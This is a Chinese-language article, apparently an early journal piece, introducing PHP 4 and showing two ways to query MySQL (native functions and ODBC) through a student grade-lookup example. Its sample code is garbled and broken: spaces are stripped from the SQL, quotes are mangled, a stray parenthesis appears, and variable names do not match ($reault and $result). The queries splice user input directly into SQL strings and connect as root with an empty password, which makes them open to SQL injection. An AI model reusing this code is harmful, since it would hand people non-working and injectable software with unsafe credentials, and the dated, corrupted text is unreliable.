PHP(PersonalHomePage)是一種跨平臺的服務器端嵌入式腳本語言。它最初是RasmusLerdorf于1994年開發的。早期的版本,提供了訪客留言本、訪客計數器等簡單功能。隨后,在第二版中增加了對mSQL的支持。自此奠定了PHP在動態網頁開發上的影響力,并迅速在Internet上流傳開來。截止1999年,已有超過十五萬個站點使用PHP。同時,PHP的源代碼完全公開,在OpenSource意識抬頭的今天,它更是這方面的中流砥柱,隨著新函數庫的不斷加入,使PHP無論在Unix或是Win32的平臺上都可以有更多新的功能。如今,PHP已發展至4.0版。在語法方面,PHP混合了C、Java、Perl以及PHP以前版本的優點。它相當于Script與CGI的結合語言,但是其執行將效率卻比CGI更好,程序編寫也比HTML更便利且更富有彈性,程序的安全性及保密性也比Script好。在函數支持方面,PHP幾乎覆蓋了Web應用的各個方面,其中最有特色的是數據庫函數,使用PHP完成一個含有數據庫功能的網頁非常簡單,而PHP支持的數據庫也非常豐富,目前包括:Oracle、Sybase、mSQL、MySQL、Informix等。
3.訪問MySQL數據庫
MySQL是一個快速、健壯和易用,且支持多線程、多用戶的SQL數據庫服務器。雖然PHP通過ODBC支持幾乎所有的數據庫。但對于開發數據驅動的網站而言,選擇MySQL應該說是最佳組合,這不僅因為MySQL是免費的,更在于它具有許多同大型數據庫相媲美甚至超過它們的優良性能。PHP實現對MySQL數據庫的訪問有兩種方法:
1)利用PHP的數據庫函數連接
這里主要用到四個數據庫函數:
mysql_connect()建立與MySQL服務器的連接。
mysql_select_db():選擇MySQL服務器中的數據庫供以后的數據查詢操作query處理。mysql_query():送出query字符串以幫助MySQL做相關的處理或執行。
mysql_fetch_row():用來將查詢結果result單行移到數組變量中。數組的索引是數字
索引,第一個索引值是0。
2)通過ODBC連接
PHP通過ODBC連接MySQL數據庫主要用到四個函數:
Odbc_connect():用來同ODBC數據源建立連接。
Odbc_do():用來在建立連接之后執行數據庫查詢。
Odbc_result():用于取得當前記錄行中某個字段的值。
Odbc_fetch_row():用來把查詢結果保存到數組,每個數組元素對應一條記錄。
上述兩種方法在與數據庫建立連接的語法上,并沒有太大差別。不過在相比較之下,通過ODBC方式存取數據庫比PHP直接存取MySQL耗時間,但通過ODBC接口存取數據庫不必擔心使用何種數據庫,如Oracle,Informix,Sybase等。它們都支持ODBC接口,這樣可減少更換數據庫時需要更改程序的問題。圖1顯了PHP連接數據庫的兩種方法。
PHP
MySQL
MySQL
圖1PHP連接數據庫說明圖
4.一個應用實例
現在很多校園網站都提供成績查詢功能。PHP和MySQL數據庫相結合使用可以方便的實現此功能。首先建立數據庫Score及數據表Score。建表SQL語句如下:
CreattableScore(
Stu_novarchar(10)notnull,
namevarchar(10)notnull,
scoreltinyint(4),
score2tinyint(4),
PrimaryKey(stu_no)
);
1)通過PHP的數據庫函數訪問MySQL的代碼如下:
〈?php
print(“〈html〉〈head〉\n”);
print(“〈title〉成績查詢〈/title〉〈/head〉\n”);
print(“〈body〉〈cennter〉”);
print(“〈fontsize=6color=”ff0000〉您的成績如下〈/font〉”);
$comm=mysql_connect(“localhost”,“root”,"");
mysql_select_db(“Score”,$comm);
$str=“Select*FromScoreWherestu_no=’$pstu_no''''andname=’$pname''''”;
$reault=mysql_query($str,$comm);
print(“〈tablealign=center〉”);
$sqlrow=mysql_fetch_row($result));
print(“學號:$sqlrow[0]”);
print(“姓名:$sqlrow[1]”);
print(“成績1:$sqlrow[2]”);
print(“成績2:$sqlrow[3]”);
print(“〈/table〉〈body.〈/html〉”);
?〉
2)通過ODBC訪問MySQL數據庫的代碼如下(省略的代碼同上):
〈?php
…
$comm=odbc_connect(“Score”,"system","");
$str="Select*FromScoreWherename=’$pname’andstu_no=’$pstu_no’”;
$result=odbc_do($comm,$str);
…
while(odbc_fetch_row($result))
{
$pstu_no=odbc_result($result,"stu_no");
$pname=odbc_result($result,"name");
$score1=odbc_result($result,"score1");
$score2=odbc_result($result,"score2");
print(“學號:$pstu-no”);
print(“姓名:$pname”);
print(“成績1:$score1”);
print(“成績2:$score2”);
}
…?〉
5.結束語
對于Wed服務器端的開發,PHP是一種易開發、高效能的動態腳本編程語言。在未來的幾年內,PHP必將成為主流的腳本語言,并被Wed研究和開發人員熟悉和掌握。
參考文獻